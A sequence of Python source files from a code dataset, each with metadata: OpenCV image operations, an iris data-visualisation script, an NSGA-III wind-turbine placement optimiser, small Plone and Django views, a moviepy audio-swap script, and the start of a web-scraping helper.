pic\",rgba)\r\ncv.imwrite(\"rgba.png\",rgba)\r\n\r\nthresh = cv.imread(\"thresh.jpg\",1)\r\n#cv.imshow(\"original thresh\",thresh)\r\nblurry_thresh = cv.GaussianBlur(thresh,(15,1),cv.BORDER_REFLECT_101)\r\n#cv.imshow(\"blurry thresh\",blurry_thresh)\r\n\r\nkernel = np.ones((15,15),'uint8')\r\ndilate_thresh = cv.dilate(thresh,kernel,iterations=1) # Dilates an image by using a specific structuring element.\r\nerode_thresh = cv.erode(thresh,kernel,iterations=1)\r\n#cv.imshow(\"dilated\",dilate_thresh)\r\n#cv.imshow(\"eroded\",erode_thresh)\r\n\r\n# Scaling and rotating images\r\nbeaver_str = cv.resize(beaver,(250,250))\r\nbeaver_str_near = cv.resize(beaver,(250,250),interpolation=cv.INTER_NEAREST)\r\n# cv.imshow(\"stretch\",beaver_str)\r\n# cv.imshow(\"stretch near\",beaver_str_near)\r\n\r\nMatr = cv.getRotationMatrix2D((200,0),-10,1)\r\nrotated = cv.warpAffine(beaver,Matr,(beaver.shape[1],beaver.shape[0]))\r\n#cv.imshow(\"rotated\",rotated)\r\ncv.waitKey(0) # wait for key to hold wicndow on screen", "sub_path": "P1-ImageOp/P1-ImageEdit.py", "file_name": "P1-ImageEdit.py", "file_ext": "py", "file_size_in_byte": 3395, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.split", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cv2.split", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 40, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.BORDER_REFLECT_101", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 73, "usage_type": "call"}]} {"seq_id": "192471520", "text": "# Ploting of Exploretary Data Analysis \n\n'''\n1. Understanding of Features And Target Variable\n2. Scatter Plot --- Visualize in 2 Dimensions\n3. Pair Plot --- If you have 4d,5d and 6d then visualize your data\n4. Histogramme --- Analysis one Feature (How Many Datapoints we have in a interval)\n5. PDF --- Probablity Distribution Function (Probablity of datapoint in a interval)\n6. CDF --- Cummulative Distribution Function (Mostly for telling efficency )\n'''\n\n\n# Objective --- If Someone give a flower then tell that flower belongs to which Class.\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# 1. Understanding the Dataset (How Many Rows,Columns)\n\niris = pd.read_csv(\"iris.csv\")\nprint(iris.shape) # (150,5)\nprint(iris.columns) # ['sepal_length', 'sepal_width', 'petal_length', 'petal_width','species']\nprint(iris['species'].value_counts()) # This is A Balanced Dataset\n\n# 2. Scatter Plot\n\nsns.set_style(\"whitegrid\")\nsns.FacetGrid(iris,hue='species',size=6).map(plt.scatter,'sepal_length','sepal_width').add_legend()\nplt.show()\n\n# Oberservation -- Using Sl And Sw we can distnguish between setosa and Another Flower.\n\n# 3. Pair Plot\n\nsns.set_style(\"whitegrid\")\nsns.pairplot(iris,hue=\"species\",size=5)\nplot.show() \n# Oberservation -- Most Important Feature is Petel Length And Petel Width.\n\n# 4. Histogramme,pdf,cdf --- Analysis One Feature\nall_species = iris['species']\nall_versicolor = iris.loc[iris['species']=='versicolor']\nall_setosa = iris.loc[iris['species']=='setosa']\nall_virginica = iris.loc[iris['species']=='virginica']\n\n\nsns.FacetGrid(iris,hue='species',size=6).map(sns.distplot,'sepal_length').add_legend()\nplt.show()\n\n\nsns.FacetGrid(iris,hue='species',size=6).map(sns.distplot,'sepal_width').add_legend()\nplt.show()\n\nsns.FacetGrid(iris,hue='species',size=6).map(sns.distplot,'petal_length').add_legend()\nplt.show()\n\n# Oberervation --- with the help of petal length i can distribute setosa and versicolor And Virginica\n\nsns.FacetGrid(iris,hue='species',size=6).map(sns.distplot,'petal_width').add_legend()\nplt.show()\n\ncount,n_bins = np.histogram(all_setosa['petal_length'],bins=10,density=True)\n\npdf = count/sum(count)\n\ncdf = np.cumsum(pdf)\n\nplt.plot(n_bins[1:],pdf)\nplt.plot(n_bins[1:],cdf)\nplt.show()\n\n# if petal length is less then 1.6 then 82% Flowers is setosa\n\n\n\n\n\n\n", "sub_path": "Data_Visualization/Plotting/EDA1.py", "file_name": "EDA1.py", "file_ext": "py", "file_size_in_byte": 2337, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 30, "usage_type": "call"}, {"api_name": "seaborn.FacetGrid", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 38, "usage_type": "call"}, {"api_name": "seaborn.pairplot", "line_number": 39, "usage_type": "call"}, {"api_name": "seaborn.FacetGrid", "line_number": 50, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "seaborn.FacetGrid", "line_number": 54, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 54, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "seaborn.FacetGrid", "line_number": 57, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "seaborn.FacetGrid", "line_number": 62, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 62, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}]} {"seq_id": "273407953", "text": "# Import system modules\nimport arcpy\nfrom arcpy import env\nimport numpy as np\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\nfrom deap.tools._hypervolume import pyhv as hv\n#import scipy.spatial\n\nfrom scipy.spatial import cKDTree\n\nimport random\nimport time\n\n\ndef optim(MU, NGEN, path, CXPB, MUTPB, A, B):\n # path = \"D:/04_PROJECTS/2001_WIND_OPTIM/WIND_OPTIM_git/intermediate_steps/3_wp/NSGA3_RES/in/B3_FFF+.shp\"\n fc = path\n na = arcpy.da.FeatureClassToNumPyArray(fc, [\"WT_ID\", \"ENER_DENS\", \"prod_MW\", \"SHAPE@XY\"], explode_to_points=True)\n\n\n\n\n ##here we calculate the expected nearest neighbor distance (in meters) of the scenario\n nBITS = len(na)\n\n # CXPB is the probability with which two individuals are crossed\n # MUTPB is the probability for mutating an individual\n #CXPB, MUTPB = 0.8, 0.6\n # MU,NGEN =20, 10\n enertarg = 4300000\n # some parameters to define the random individual\n\n # total production of energy\n sum_MW = np.sum(na['prod_MW'])\n\n # the 4.3TWh/y represent the minimal target to reach and app. 4.6Twh is the upper bandwidth\n low_targ = enertarg\n up_targ = enertarg * 1.07\n\n # the function to determine the initial random population which might reach the energy target bandwidth\n def initial_indi():\n # relative to the total energy production to build the initial vector\n bound_up = (1.0 * up_targ / sum_MW)\n bound_low = (1.0 * low_targ / sum_MW)\n x3 = random.uniform(bound_low, bound_up)\n return np.random.choice([1, 0], size=(nBITS,), p=[x3, 1 - x3])\n\n def initial_ind2():\n N = np.array(A)\n return N\n\n\n def initial_ind3():\n M = np.array(B)\n return M\n\n # some lists for the evaluation function\n enerd = list(na['ENER_DENS'])\n prod = list(na['prod_MW'])\n id = np.array(na['WT_ID'])\n _xy = list(na['SHAPE@XY'])\n\n # the evaluation function, taking the individual vector as input\n\n def evaluate(individual):\n individual = individual[0]\n prod_MWsel = sum(x * y for x, y in zip(prod, individual))\n #check if the total production is witin boundaries, if not return a penalty vector\n if up_targ >= prod_MWsel >= low_targ:\n # goal 1\n mean_enerdsel = sum(x * y for x, y in zip(enerd, individual)) / sum(individual)\n # goal 2\n count_WTsel = sum(individual)\n # goal 3 zip the individual vector to the _xy coordinates\n subset = np.column_stack((_xy,individual))\n #subset the data that only the 1 remains\n subset = subset[subset[:, 2] == 1]\n subset = np.delete(subset, 2, 1)\n tree = cKDTree(subset)\n dists = tree.query(subset, 2)\n nn_dist = dists[0][:, 1]\n rE = 1 / (2 * math.sqrt(1.0 * len(subset) / 41290790000))\n rA= np.mean(nn_dist)\n clus = rA/rE\n res = (clus, count_WTsel, mean_enerdsel)\n ## delete the feature tmp since otherwise it will not work in a loop\n arcpy.Delete_management(\"tmp\")\n arcpy.Delete_management(\"subset\")\n else:\n res = (10e20, 10e20, 0)\n return res\n\n #def feasible(individual):\n individual = individual[0]\n prod_MWsel = sum(x * y for x, y in zip(prod, individual))\n if (prod_MWsel <= up_targ and prod_MWsel >= low_targ):\n return True\n return False\n\n ### setup NSGA3 with deap (minimize the first two goals returned by the evaluate function and maximize the third one)\n creator.create(\"FitnessMulti\", base.Fitness, weights=(-1.0, -1.0, 1.0))\n creator.create(\"Individual\", list, fitness=creator.FitnessMulti)\n ref_points = tools.uniform_reference_points(nobj=3, p=12)\n ##setup the optim toolbox I do not understand that totally\n toolbox = base.Toolbox()\n # initial individual and pop\n toolbox.register(\"initial_indi\", initial_indi)\n toolbox.register(\"individual\", tools.initRepeat, creator.Individual, toolbox.initial_indi, n=1)\n toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\n ###and the specific individual A\n toolbox.register(\"initial_indi2\", initial_ind2)\n toolbox.register(\"individual2\", tools.initRepeat, creator.Individual, toolbox.initial_indi2, n=1)\n toolbox.register(\"population2\", tools.initRepeat, list, toolbox.individual2)\n pop2 = toolbox.population2(n=1)\n\n\n ###and the specific individual B\n toolbox.register(\"initial_indi3\", initial_ind3)\n toolbox.register(\"individual3\", tools.initRepeat, creator.Individual, toolbox.initial_indi3, n=1)\n toolbox.register(\"population3\", tools.initRepeat, list, toolbox.individual2)\n pop3 = toolbox.population3(n=1)\n\n # evaluation and constraints\n toolbox.register(\"evaluate\", evaluate)\n ##assign the feasibility of solutions and if not feasible a large number for the minimization tasks and a small number for the maximization task\n #toolbox.decorate(\"evaluate\", tools.DeltaPenalty(feasible, (10e20, 10e20, 0)))\n # mate, mutate and select to perform crossover\n toolbox.register(\"mate\", tools.cxTwoPoint)\n toolbox.register(\"mutate\", tools.mutFlipBit, indpb=0.05)\n toolbox.register(\"select\", tools.selNSGA3, ref_points=ref_points)\n\n ### initialize pareto front\n pareto = tools.ParetoFront(similar=np.array_equal)\n ### initialize population\n pop = toolbox.population(n=MU)\n #pick a random number where to insert the vector containing the best producing WT into the population\n pop[random.randrange(0,MU,1)] = pop2[0]\n #and insert the best energydens accordingly\n pop[random.randrange(0, MU, 1)] = pop3[0]\n\n\n first_stats = tools.Statistics(key=lambda ind: ind.fitness.values[0])\n second_stats = tools.Statistics(key=lambda ind: ind.fitness.values[1])\n third_stats = tools.Statistics(key=lambda ind: ind.fitness.values[2])\n\n first_stats.register(\"min_clus\", np.min, axis=0)\n second_stats.register(\"min_WT\", np.min, axis=0)\n third_stats.register(\"max_enerd\", np.max, axis=0)\n\n logbook1 = tools.Logbook()\n logbook2 = tools.Logbook()\n logbook3 = tools.Logbook()\n logbook1.header = \"gen\", \"evals\", \"TIME\", \"min_clus\"\n logbook2.header = \"gen\", \"evals\", \"min_WT\"\n logbook2.header = \"gen\", \"evals\", \"max_enerd\"\n\n HV = []\n # Evaluate the initial individuals with an invalid fitness\n print(\"-- fitness of initial population --\")\n start_time = time.time()\n invalid_ind = [ind for ind in pop if not ind.fitness.valid]\n fitnesses = list(toolbox.map(toolbox.evaluate, invalid_ind))\n\n for ind, fit in zip(invalid_ind, fitnesses):\n ind.fitness.values = fit\n\n ## Hyper volume of initial fitness (scale the n_WT and change the value of the maximization goal with -1\n fitness_trans = np.array(fitnesses)\n fitness_trans[:, 1] *= 1.0 / nBITS\n fitness_trans[:, 2] *= -1\n hyp = hv.hypervolume(fitness_trans, ref=np.array([1, 1, 1]))\n HV.append(hyp)\n\n end_time = time.time()\n delt_time = end_time - start_time\n\n record1 = first_stats.compile(pop)\n logbook1.record(gen=0, evals=len(invalid_ind), TIME=delt_time, **record1)\n\n record2 = second_stats.compile(pop)\n logbook2.record(gen=0, evals=len(invalid_ind), **record2)\n\n record3 = third_stats.compile(pop)\n logbook3.record(gen=0, evals=len(invalid_ind), **record3)\n\n # Begin the evolution with NGEN repetitions\n for gen in range(1, NGEN):\n print(\"-- Generation %i --\" % gen)\n start_time = time.time()\n offspring = toolbox.select(pop, len(pop))\n # Clone the selected individuals\n offspring = list(map(toolbox.clone, offspring))\n\n # Apply crossover and mutation on the offspring\n for child1, child2 in zip(offspring[::2], offspring[1::2]):\n if random.random() < CXPB:\n toolbox.mate(child1[0], child2[0])\n del child1.fitness.values\n del child2.fitness.values\n\n for mutant in offspring:\n if random.random() < MUTPB:\n toolbox.mutate(mutant[0])\n del mutant.fitness.values\n\n # Evaluate the individuals with an invalid fitness\n invalid_ind = [ind for ind in offspring if not ind.fitness.valid]\n\n fitnesses = list(toolbox.map(toolbox.evaluate, invalid_ind))\n\n for ind, fit in zip(invalid_ind, fitnesses):\n ind.fitness.values = fit\n\n fitness_trans = np.array(fitnesses)\n fitness_trans[:, 1] *= 1.0 / nBITS\n fitness_trans[:, 2] *= -1\n ## Hyper volume\n hyp = hv.hypervolume(fitness_trans, ref=np.array([1, 1, 1]))\n HV.append(hyp)\n # select the next generation with NSGA3 from pop and offspring of size MU\n pop = toolbox.select(pop + offspring, MU)\n pareto.update(pop)\n\n record1 = first_stats.compile(invalid_ind)\n logbook1.record(gen=gen, evals=len(invalid_ind), TIME=delt_time, **record1)\n\n record2 = second_stats.compile(invalid_ind)\n logbook2.record(gen=gen, evals=len(invalid_ind), **record2)\n\n record3 = third_stats.compile(invalid_ind)\n logbook3.record(gen=gen, evals=len(invalid_ind), **record3)\n\n end_time = time.time()\n delt_time = end_time - start_time\n print(\"--- %s seconds ---\" % delt_time)\n\n # fitness pareto\n fitness_pareto = toolbox.map(toolbox.evaluate, pareto)\n fitness_pareto = np.array(fitness_pareto)\n fitness_pareto = {'CLUS': fitness_pareto[:, 0], 'N_WT': fitness_pareto[:, 1], 'ENERDENS': fitness_pareto[:, 2]}\n # pareto items and robustness\n par_items = np.array(pareto.items)\n par_rob = np.array(1.0 * sum(par_items[1:len(par_items)]) / len(par_items))\n par_rob = par_rob.ravel()\n par_rob_mat = np.column_stack((id, par_rob))\n par_rob_mat = {'WT_ID2': par_rob_mat[:, 0], 'par_rob': par_rob_mat[:, 1]}\n\n # logbook\n gen = np.array(logbook1.select('gen'))\n TIME = np.array(logbook1.select('TIME'))\n WT = np.array(logbook2.select('min_WT'))\n clus = np.array(logbook1.select('min_clus'))\n enerd = np.array(logbook3.select('max_enerd'))\n logbook = np.column_stack((gen, TIME, WT, clus, enerd))\n logbook = {'GENERATION': logbook[:, 0], 'TIME': logbook[:, 1], 'N_WT': logbook[:, 2], 'CLUS': logbook[:, 3],\n 'ENERDENS': logbook[:, 4]}\n\n return HV, par_rob_mat, fitness_pareto, logbook\n", "sub_path": "NSGA3_201210.py", "file_name": "NSGA3_201210.py", "file_ext": "py", "file_size_in_byte": 10395, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "arcpy.da.FeatureClassToNumPyArray", "line_number": 20, "usage_type": "call"}, {"api_name": "arcpy.da", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 36, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 85, "usage_type": "call"}, {"api_name": "arcpy.Delete_management", "line_number": 89, "usage_type": "call"}, {"api_name": "arcpy.Delete_management", "line_number": 90, "usage_type": "call"}, {"api_name": "deap.creator.create", "line_number": 103, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 103, "usage_type": "name"}, {"api_name": "deap.base.Fitness", "line_number": 103, "usage_type": "attribute"}, {"api_name": "deap.base", "line_number": 103, "usage_type": "name"}, {"api_name": "deap.creator.create", "line_number": 104, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 104, "usage_type": "name"}, {"api_name": "deap.creator.FitnessMulti", "line_number": 104, "usage_type": "attribute"}, {"api_name": "deap.tools.uniform_reference_points", "line_number": 105, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 105, "usage_type": "name"}, {"api_name": "deap.base.Toolbox", "line_number": 107, "usage_type": "call"}, {"api_name": "deap.base", "line_number": 107, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 110, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 110, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 110, "usage_type": "attribute"}, {"api_name": "deap.creator", "line_number": 110, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 111, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 111, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 115, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 115, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 115, "usage_type": "attribute"}, {"api_name": "deap.creator", "line_number": 115, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 116, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 116, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 122, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 122, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 122, "usage_type": "attribute"}, {"api_name": "deap.creator", "line_number": 122, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 123, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 123, "usage_type": "name"}, {"api_name": "deap.tools.cxTwoPoint", "line_number": 131, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 131, "usage_type": "name"}, {"api_name": "deap.tools.mutFlipBit", "line_number": 132, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 132, "usage_type": "name"}, {"api_name": "deap.tools.selNSGA3", "line_number": 133, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 133, "usage_type": "name"}, {"api_name": "deap.tools.ParetoFront", "line_number": 136, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.array_equal", "line_number": 136, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 140, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 142, "usage_type": "call"}, {"api_name": "deap.tools.Statistics", "line_number": 145, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 145, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 146, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 146, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 147, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 147, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 151, "usage_type": "attribute"}, {"api_name": "deap.tools.Logbook", "line_number": 153, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 153, "usage_type": "name"}, {"api_name": "deap.tools.Logbook", "line_number": 154, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 154, "usage_type": "name"}, {"api_name": "deap.tools.Logbook", "line_number": 155, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 155, "usage_type": "name"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "deap.tools._hypervolume.pyhv.hypervolume", "line_number": 174, "usage_type": "call"}, {"api_name": "deap.tools._hypervolume.pyhv", "line_number": 174, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "time.time", "line_number": 177, "usage_type": "call"}, {"api_name": "time.time", "line_number": 192, "usage_type": "call"}, {"api_name": "random.random", "line_number": 199, "usage_type": "call"}, {"api_name": "random.random", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 217, "usage_type": "call"}, {"api_name": "deap.tools._hypervolume.pyhv.hypervolume", "line_number": 221, "usage_type": "call"}, {"api_name": "deap.tools._hypervolume.pyhv", "line_number": 221, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 221, "usage_type": "call"}, {"api_name": "time.time", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 257, "usage_type": "call"}]} {"seq_id": "572450130", "text": "from five import grok\nfrom zope.interface import Interface\nfrom Products.CMFCore.utils import getToolByName\n\nfrom emas.theme.interfaces import IEmasThemeLayer\n\n\ngrok.templatedir('templates')\ngrok.layer(IEmasThemeLayer)\n\n\nclass MXitStats(grok.View):\n \"\"\"\n Custom view for mxit signup stats \n \"\"\"\n\n grok.context(Interface)\n grok.require('zope2.View')\n \n def stats_per_group(self):\n group_stats = {}\n gt = getToolByName(self.context, 'portal_groups')\n for groupname in [\"PastMathsExamPapers\", \"PastScienceExamPapers\"]:\n group = gt.getGroupById(groupname)\n count = len(group.getMemberIds())\n group_stats[groupname] = count\n\n return group_stats\n", "sub_path": "emas/theme/browser/mxitstats.py", "file_name": "mxitstats.py", "file_ext": "py", "file_size_in_byte": 726, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "five.grok.templatedir", "line_number": 8, "usage_type": "call"}, {"api_name": "five.grok", "line_number": 8, "usage_type": "name"}, {"api_name": "five.grok.layer", "line_number": 9, "usage_type": "call"}, {"api_name": "emas.theme.interfaces.IEmasThemeLayer", "line_number": 9, "usage_type": "argument"}, {"api_name": "five.grok", "line_number": 9, "usage_type": "name"}, {"api_name": "five.grok.View", "line_number": 12, "usage_type": "attribute"}, {"api_name": "five.grok", "line_number": 12, "usage_type": "name"}, {"api_name": "five.grok.context", "line_number": 17, "usage_type": "call"}, {"api_name": "zope.interface.Interface", "line_number": 17, "usage_type": "argument"}, {"api_name": "five.grok", "line_number": 17, "usage_type": "name"}, {"api_name": "five.grok.require", "line_number": 18, "usage_type": "call"}, {"api_name": "five.grok", "line_number": 18, "usage_type": "name"}, {"api_name": "Products.CMFCore.utils.getToolByName", "line_number": 22, "usage_type": "call"}]} {"seq_id": "411471782", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\n\nfrom vk_login.vkInfoService import VkInfoService\n\n\ndef login(request):\n return render(request, 'index.html')\n\n\n@login_required\ndef home(request):\n if request.method == 'GET':\n vk_user = VkInfoService(request)\n return render(request, 'home.html',\n {\n 'photo': vk_user.Photo,\n 'first_five': vk_user.FiveFriends,\n 'friends_list': zip(vk_user.Friends, vk_user.FriendsLinks),\n 'friends_count': vk_user.FriendsCount\n })\n", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 663, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.render", "line_number": 8, "usage_type": "call"}, {"api_name": "vk_login.vkInfoService.VkInfoService", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 11, "usage_type": "name"}]} {"seq_id": "39707234", "text": "import moviepy.editor as mp\nimport os\n\n\ndef doIt(filename):\n audio = mp.AudioFileClip(\"snoop.mp3\")\n video1 = mp.VideoFileClip(filename)\n final = video1.set_audio(audio)\n final.write_videofile(filename)\n\nfor filename in os.listdir('./'):\n f = os.path.join(filename)\n if os.path.isfile(f):\n if '.mp4' in f:\n print(f)\n doIt(f)\n", "sub_path": "public/websites/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 371, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "moviepy.editor.AudioFileClip", "line_number": 6, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 6, "usage_type": "name"}, {"api_name": "moviepy.editor.VideoFileClip", "line_number": 7, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 7, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}]} {"seq_id": "499790600", "text": "#!/usr/bin/env python3\n\n#info\n#-name : zhangruochi\n#-email : zrc720@gmail.com\nimport requests\nimport re\nimport itertools\nfrom urllib.parse import urlparse\nfrom urllib.parse import urldefrag\nfrom urllib.parse import urljoin\nfrom urllib import robotparser\nfrom collections import defaultdict\nimport datetime\nimport time\nfrom bs4 import BeautifulSoup\nimport lxml.html\nimport csv\n\n\ndef download(url,user_agent = \"GoodAgent\",proxy = None,num_metrics = 2):\n\n print(\"Downloading: {}\".format(url))\n headers = {'User-aget': user_agent}\n\n try:\n if proxy:\n proxies = {\n \"http\": proxy,\n \"https\": proxy\n }\n\n html = requests.get(url,headers = headers,proxies = proxies).text\n\n html = requests.get(url,headers = headers).text\n #print(\"successful....\")\n #print(html)\n except Exception as e:\n print(\"Downloading error {}\".format(e))\n html = None\n\n if num_metrics > 0:\n if hasattr(e,\"codes\") and 500<=e.codes() < 600:\n return download(url,num_metrics - 1)\n \n return html\n\n\n\ndef get_area_bs():\n url = 